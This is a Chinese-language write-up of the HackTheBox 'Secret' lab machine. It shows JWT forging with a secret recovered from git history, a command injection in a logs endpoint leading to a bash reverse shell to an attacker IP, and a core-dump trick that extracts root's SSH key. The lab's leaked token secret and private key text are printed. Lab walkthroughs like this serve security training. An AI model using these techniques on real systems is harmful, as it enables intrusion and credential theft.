?HackTheBox-Secret


title: HackTheBox-Secret-JWT author: Mosaic Theory layout: true categories: 漏洞实验 tags:

  • • 打靶日记

Variety is the spice of life.

变化是生活的调味品。

HackTheBox-Secret

Recon:

Msscan:

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-05-15 08:34:54 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.11.120                                    
Discovered open port 22/tcp on 10.10.11.120                                    
Discovered open port 3000/tcp on 10.10.11.120 

Nmap:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-15 17:37 CST
Nmap scan report for 10.10.11.120
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.31 seconds

WhatWeb:

>> whatweb http://secret.htb/                                           
http://secret.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.120], Lightbox, Meta-Author[Xiaoying Riley at 3rd Wave Media], Script, Title[DUMB Docs], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]

Port 80:

一个在线文档搜索,输入名称会进行搜索,可能存在注入。还要一个用户名,以及一个软件源码包:

[17:47:18] Starting: 
[17:48:15] 200 -   93B  - /api
[17:48:15] 200 -   93B  - /api/
[17:48:15] 200 -   93B  - /api/jsonws/invoke
[17:48:15] 200 -   93B  - /api/2/explore/
[17:48:15] 200 -   93B  - /api/error_log
[17:48:15] 200 -   93B  - /api/jsonws
[17:48:15] 200 -   93B  - /api/2/issue/createmeta
[17:48:15] 200 -   93B  - /api/login.json
[17:48:15] 200 -   93B  - /api/package_search/v4/documentation
[17:48:15] 200 -   93B  - /api/swagger
[17:48:15] 200 -   93B  - /api/swagger.yml
[17:48:15] 200 -   93B  - /api/swagger-ui.html
[17:48:15] 200 -   93B  - /api/v3
[17:48:15] 200 -   93B  - /api/v2
[17:48:15] 200 -   93B  - /api/v2/helpdesk/discover
[17:48:15] 200 -   93B  - /api/v1
[17:48:18] 301 -  179B  - /assets  ->  /assets/
[17:48:37] 200 -   20KB - /docs/
[17:48:37] 200 -   20KB - /docs
[17:48:38] 301 -  183B  - /download  ->  /download/

有很多垃圾信息,跟源码目录对不上:

>> ls
index.js  model  node_modules  package.json  package-lock.json  public  routes  src  validations.js

然后还会有官方文档:

POST http://localhost:3000/api/user/register 
  {
    "name""dasith",
    "email""root@dasith.works",
    "password""Kekc8swFgD6zU"
  }

看起来像是注册,还有一个登录:

POST http://localhost:3000/api/user/login 

Port 3000:

3000与80端口一样,官方文档提到的注册页面无法直接访问,可以通过curl:

>> curl -d '{"name":"admin","email":"admin@secret.htb","password":"password"}' -X POST http://secret.htb/api/user/register -H 'Content-Type: Application/json'
"name" length must be at least 6 characters long 

名字必须大于六个字符:

>> curl -d '{"name":"mosaic","email":"mosaic@outlook.com","password":"password"}' -X POST http://secret.htb/api/user/register -H 'Content-Type: Application/json'
{"user":"mosaic"}

看起来注册成功了,可以尝试访问登录页面:

>> curl -d '{"email":"mosaic@outlook.com","password":"password"}' -X POST http://secret.htb/api/user/login -H 'Content-Type: Application/json'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw

会获取到一串编码字符串,尝试解码会把头解出来,是JWT令牌:

>> echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw |base64 -d
{"alg":"HS256","typ":"JWT"}base64: 输入无效

可以到JWT官网去解码:

{
  "alg""HS256",
  "typ""JWT"
}
{
  "_id""6280c84e3cb26b04640f0608",
  "name""mosaic",
  "email""mosaic@outlook.com",
  "iat"1652607192
}

如果要伪造JWT令牌的话,我需要密钥,或许会藏在我下载的源码中,源码文件中没找到,但是在.git目录里,可以查看git目录,会发现出于安全原因删除了 .env 的提示:

>> ls -a  
.   .env  index.js  node_modules  package-lock.json  routes  validations.js
..  .git  model     package.json  public             src
>> cd .git
>> git log --oneline
e297a27 (HEAD -> master) now we can view logs from server ?
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit

可以看一眼对应事件:

>> git show 67d8da7 
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv 
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

/routes/auth.js应该是在登录时候签发 JWT:

router.post('/login', async  (req , res) => {

    const { error } = loginValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if email is okay 
    const user = await User.findOne({ email: req.body.email })
    if (!user) return res.status(400).send('Email is wrong');

    // check password 
    const validPass = await bcrypt.compare(req.body.password, user.password)
    if (!validPass) return res.status(400).send('Password is wrong');


    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

})

/routes/verifytoken.js是用来校验提交的令牌:

const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
}

private.js是用来检测令牌权限:

const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin"
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

它有一个/log是管理员独属的,而且存在命令注入漏洞,对输入参数看起来没什么过滤便会调用exec执行:

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});


module.exports = router

我可以用自己令牌验证一下:

>> curl -s 'http://secret.htb/api/priv' -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw" | jq .
{
  "role": {
    "role""you are normal user",
    "desc""mosaic"
  }
}

制作JWT:

可以看下这篇文章:

https://pyjwt.readthedocs.io/en/2.0.1/usage.html
>> python                                           
Python 3.9.12 (main, Mar 24 202213:02:21
[GCC 11.2.0] on linux
Type "help""copyright""credits" or "license" for more information.
>>> import jwt
>>> token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw'
>>> secret = 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE'
>>> jwt.decode(token, secret, options={"verify_signature"False})
{'_id''6280c84e3cb26b04640f0608''name''mosaic''email''mosaic@outlook.com''iat'1652607192}
>>> j = jwt.decode(token, secret, options={"verify_signature"False})
>>> j['name'] = 'theadmin'
>>> jwt.encode(j, secret)
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg'
>> curl -s 'http://secret.htb/api/priv' -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq .
{
  "creds": {
    "role""admin",
    "username""theadmin",
    "desc""welcome back admin"
  }
}

现在可以看一眼我觉得存在命令注入的地方:

    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }

在我刚刚输入git log --oneline也能正常运行,那么我可以用 ; 分隔开:

>> curl -s 'http://secret.htb/api/logs?file=;ping+-c+1+10.10.16.6' -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq .
"80bf34c fixed typos ?\n0c75212 now we can view logs from server ?\nab3e953 Added the codes\nPING 10.10.16.6 (10.10.16.6) 56(84) bytes of data.\n64 bytes from 10.10.16.6: icmp_seq=1 ttl=63 time=316 ms\n\n--- 10.10.16.6 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 316.039/316.039/316.039/0.000 ms\n"

确实能监听到:

>> sudo tcpdump -i tun0 icmp and src 10.10.11.120
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:25:33.234043 IP secret.htb > 10.10.16.6: ICMP echo request, id 1, seq 1, length 64

POST方法在传输过程中因为没有编码反弹shell的命令会被破坏,可以强制使用Get方式,并对命令进行编码:

curl -s -G 'http://secret.htb/api/logs' --data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq -r .
>> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.120] 32932
bash: cannot set terminal process group (1124): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ 

获取user.txt:

dasith@secret:~/local-web$ ls
index.js  node_modules  package-lock.json  routes  validations.js
model     package.json  public             src
dasith@secret:~/local-web$ cd ~
dasith@secret:~$ ls
local-web  user.txt
dasith@secret:~$ cat suer
cat: suer: No such file or directory
dasith@secret:~$ cat user.txt 
0bb.............................

提权枚举:

当前用户目录是空的,在/opt下有一些文件:

dasith@secret:/opt$ ls
code.c  count  valgrind.log
dasith@secret:/opt$ cat code.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096"Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256"Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

看起来是帮我获取文件信息的:

dasith@secret:/opt$ ./count 
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: /opt/root.txt
Could not open /opt/root.txt for writing
dasith@secret:/opt$ ls
code.c  count  valgrind.log
dasith@secret:/opt$ 

能读取目录信息:

dasith@secret:/opt$ ./count /root/
Enter source file/directory name: /root
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh

Total entries       = 15
Regular files       = 4
Directories         = 10
Symbolic links      = 1
Save results a file? [y/N]: 

只能帮我统计文件字数,但无法帮我读取出来:

dasith@secret:/opt$ ./count       
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub

Total entries       = 5
Regular files       = 3
Directories         = 2
Symbolic links      = 0
Save results a file? [y/N]: n
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]:

我可以在它让我选择的时候将它挂起,然后去尝试读取它的句柄:

dasith@secret:/opt$ ./count       
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub

Total entries       = 5
Regular files       = 3
Directories         = 2
Symbolic links      = 0
Save results a file? [y/N]: n
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$ ps | grep "count"
   1589 pts/0    00:00:00 count
dasith@secret:/opt$ cd /proc/
dasith@secret:/proc$ cd 1589/
dasith@secret:/proc/1589$ ls
arch_status      environ    mountinfo      personality   statm
attr             exe        mounts         projid_map    status
autogroup        fd         mountstats     root          syscall
auxv             fdinfo     net            sched         task
cgroup           gid_map    ns             schedstat     timers
clear_refs       io         numa_maps      sessionid     timerslack_ns
cmdline          limits     oom_adj        setgroups     uid_map
comm             loginuid   oom_score      smaps         wchan
coredump_filter  map_files  oom_score_adj  smaps_rollup
cpuset           maps       pagemap        stack
cwd              mem        patch_state    stat
dasith@secret:/proc/1589$ cd fd
dasith@secret:/proc/1589/fd$ ls
0  1  2  3
dasith@secret:/proc/1589/fd$ cd 3
bash: cd: 3: Not a directory
dasith@secret:/proc/1589/fd$ ls
0  1  2  3
dasith@secret:/proc/1589/fd$ cat 0
ls
ls
dasith@secret:/proc/1589/fd$ cat 1
^C
dasith@secret:/proc/1589/fd$ cat 2
^C
dasith@secret:/proc/1589/fd$ cat 3
cat: 3: Permission denied
dasith@secret:/proc/1589/fd$ ls -all
total 0
dr-x------ 2 dasith dasith  0 May 15 11:57 .
dr-xr-xr-x 9 dasith dasith  0 May 15 11:57 ..
lrwx------ 1 dasith dasith 64 May 15 11:58 0 -> /dev/pts/0
lrwx------ 1 dasith dasith 64 May 15 11:58 1 -> /dev/pts/0
lrwx------ 1 dasith dasith 64 May 15 11:58 2 -> /dev/pts/0
lr-x------ 1 dasith dasith 64 May 15 11:58 3 -> /root/.ssh/id_rsa
dasith@secret:/proc/1589/fd$ 

当我尝试用/count去读取/root/.viminfo,看到一个类似密钥的东西:

-----END OPENSSH PRIVATE KEY-----
|3,1,0,1,38,0,1633544227,"-----BEGIN OPENSSH PRIVATE KEY-----","b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn","NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3","KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+","7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1","xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx",>72
|<"8G+KbGPcN174a666dRwDFmbrd9nc9E2YGn5aUfMkvbaJoqdHRHGCN1rI78J7rPRaTC8aTu","BKexPVVXhBO6+e1htuO31rHMTHABt4+6K4wv7YvmXz3Ax4HIScfopVl7futnEaJPfHBdg2","5yXbi8lafKAGQHLZjD9vsyEi5wqoVOYalTXEXZwOrstp3Y93VKx4kGGBqovBKMtlRaic+Y","Tv0vTW3fis9d7aMqLpuuFMEHxTQPyor3+/aEHiLLAAAFiMxy1SzMctUsAAAAB3NzaC1yc2","EAAAGBAJ+sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr","85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65",>72
|<"rlYljxkAqLQQwmZp+FjWzU9JHLHwPm+MQfmpurcg7Yao3zyZ4ETn9GdupQNccNDpqAncob","0N2s5W5GWexFnk7UPxGHHWKH2vP5m0Pmpjm/WGqlhogWouvcNB839OpQfHMfBvimxj3Dde","+GuuunUcAxZm63fZ3PRNmBp+WlHzJL22iaKnR0RxgjdayO/Ce6z0WkwvGk7gSnsT1VV4QT","uvntYbbjt9axzExwAbePuiuML+2L5l89wMeByEnH6KVZe37rZxGiT3xwXYNucl24vJWnyg","BkBy2Yw/b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP","Xe2jKi6brhTBB8U0D8qK9/v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3",>72
|<"t43cw71C1FV08n2D/Z2TXzVDtrL4hdt3srxq5r21yJTXfhd1nSVeZsHPjz5LCA71BCE997","44VnRTblCEyhXxOSpWZLA+jed691qJvgZfrQ5iB9yQKd344/+p7K3c5ckZ6MSvyvsrWrEq","Hcj2ZrEtQ62/ZTowM0Yy6V3EGsR373eyZUT++5su+CpF1A6GYgAPpdEiY4CIEv3lqgWFC3","4uJ/yrRHaVbIIaSOkuBi0h7Is562aoGp7/9Q3j/YUjKBtLvbvbNRxwM+sCWLasbK5xS7Vv","D569yMirw2xOibp3nHepmEJnYZKomzqmFsEvA1GbWiPdLCwsX7btbcp0tbjsD5dmAcU4nF","JZI1vtYUKoNrmkI5WtvCC8bBvA4BglXPSrrj1pGP9QPVdUVyOc6QKSbfomyefO2HQqne6z",>72
|<"y0N8QdAZ3dDzXfBlVfuPpdP8yqUnrVnzpL8U/gc1ljKcSEx262jXKHAG3mTTNKtooZAAAA","wQDPMrdvvNWrmiF9CSfTnc5v3TQfEDFCUCmtCEpTIQHhIxpiv+mocHjaPiBRnuKRPDsf81","ainyiXYooPZqUT2lBDtIdJbid6G7oLoVbx4xDJ7h4+U70rpMb/tWRBuM51v9ZXAlVUz14o","Kt+Rx9peAx7dEfTHNvfdauGJL6k3QyGo+90nQDripDIUPvE0sac1tFLrfvJHYHsYiS7hLM","dFu1uEJvusaIbslVQqpAqgX5Ht75rd0BZytTC9Dx3b71YYSdoAAADBANMZ5ELPuRUDb0Gh","mXSlMvZVJEvlBISUVNM2YC+6hxh2Mc/0Szh0060qZv9ub3DXCDXMrwR5o6mdKv/kshpaD4",>72
|<"Ml+fjgTzmOo/kTaWpKWcHmSrlCiMi1YqWUM6k9OCfr7UTTd7/uqkiYfLdCJGoWkehGGxep","lJpUUj34t0PD8eMFnlfV8oomTvruqx0wWp6EmiyT9zjs2vJ3zapp2HWuaSdv7s2aF3gibc","z04JxGYCePRKTBy/kth9VFsAJ3eQezpwAAAMEAwaLVktNNw+sG/Erdgt1i9/vttCwVVhw9","RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9","6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl","xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k","fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==",>35
|<"-----END OPENSSH PRIVATE KEY-----"

这个能读,但是信息乱了。

程序崩溃转储密钥:

学到了,当程序崩溃时,系统会将崩溃转储文件存储在/var/crash,先读取ssh密钥然后将其挂起,这样该程序的句柄会一直处于打开状态:

dasith@secret:/proc/1616/fd$ cd /opt/
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[3]+  Stopped                 ./count
dasith@secret:/opt$ ps |grep "count"
   1632 pts/0    00:00:00 count
dasith@secret:/opt$ kill -l
 1) SIGHUP  2) SIGINT  3) SIGQUIT  4) SIGILL  5) SIGTRAP
 6) SIGABRT  7) SIGBUS  8) SIGFPE  9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX 
dasith@secret:/opt$ kill -SIGSEGV 1632
dasith@secret:/opt$ cd /var/crash
dasith@secret:/var/crash$ fg
./count (wd: /opt)
Segmentation fault (core dumped)
dasith@secret:/var/crash$ ls
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash
dasith@secret:/var/crash$ ls -all
total 92
drwxrwxrwt  2 root   root    4096 May 15 12:19 .
drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..
-rw-r-----  1 root   root   27203 Oct  6  2021 _opt_count.0.crash
-rw-r-----  1 dasith dasith 31397 May 15 12:19 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5  2021 _opt_countzz.0.crash

这样我就拿到了该程序崩溃文件,是一个文本文件,在文本末尾会有很大一串base64编码的数据:

dasith@secret:/var/crash$ file _opt_count.1000.crash
_opt_count.1000.crash: ASCII text, with very long lines
dasith@secret:/var/crash$ cat _opt_count.1000.crash 
CoreDump: base64
 H4sICAAAAAAC/0NvcmVEdW1wAA==
................................................ 7Z0HYBtF1sdXtpM4hiQGEghd3Af3BUxiuduAQe5yl3uh2LIkW7JlSVax5RwQQwLEhIDpHNX00M0BdzmqqBeOZuAOAlwxHHDhaD5KLhzF3xvNG1s7kdIIV/jeDzb/nTfvzczOzs6OVsUriiqKYzQaRRCnHK/MpBRFr2yNXslWFk/7c4ZmRXAExveMbNeIWC0aRu6seLohzCExsrK4UFU6tI9KcVHip+sTcWO7GBfc8XbOZjt6tI/vZJwR7aNXVanjYiSV2tmO9kmfTrciQn3GreNC/elGu35AHScY2i9yfSIueH7kuNG4reKU8Lj2iyPHRTsPIs4txekklftzFONGdzJuHOPGpbh2SbcaL7HcELwk8nmINq71GDd+SeR+0UU57yJOuTzK+YvSThE3cvkOt5OPT4wb3cm4dowb28k4tzi+1fZvVXHbuR7ExGT8uTpuG+c9FDGGcUNS3DbaGRrbQTERtk8xthfHvI0aHltQXVvEbHuEVRe+L2iHDvloFtcPo8y7O0P8M3xs2+bx9Oh6nh79JepTXIdu41osLsF7+Zx2kFzgd6FDn8rXnM3PMU4BY7dIcxki/NIwLco3bBwO9X0S2vVHRLkmoiDmGtZFq2FjI0j0sVKLmXP0IdkUyze5b80uv9MX.................................................

